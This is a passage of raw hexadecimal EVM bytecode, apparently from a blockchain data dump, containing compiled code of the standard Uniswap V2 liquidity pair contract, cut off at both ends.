fffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429 | 608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffff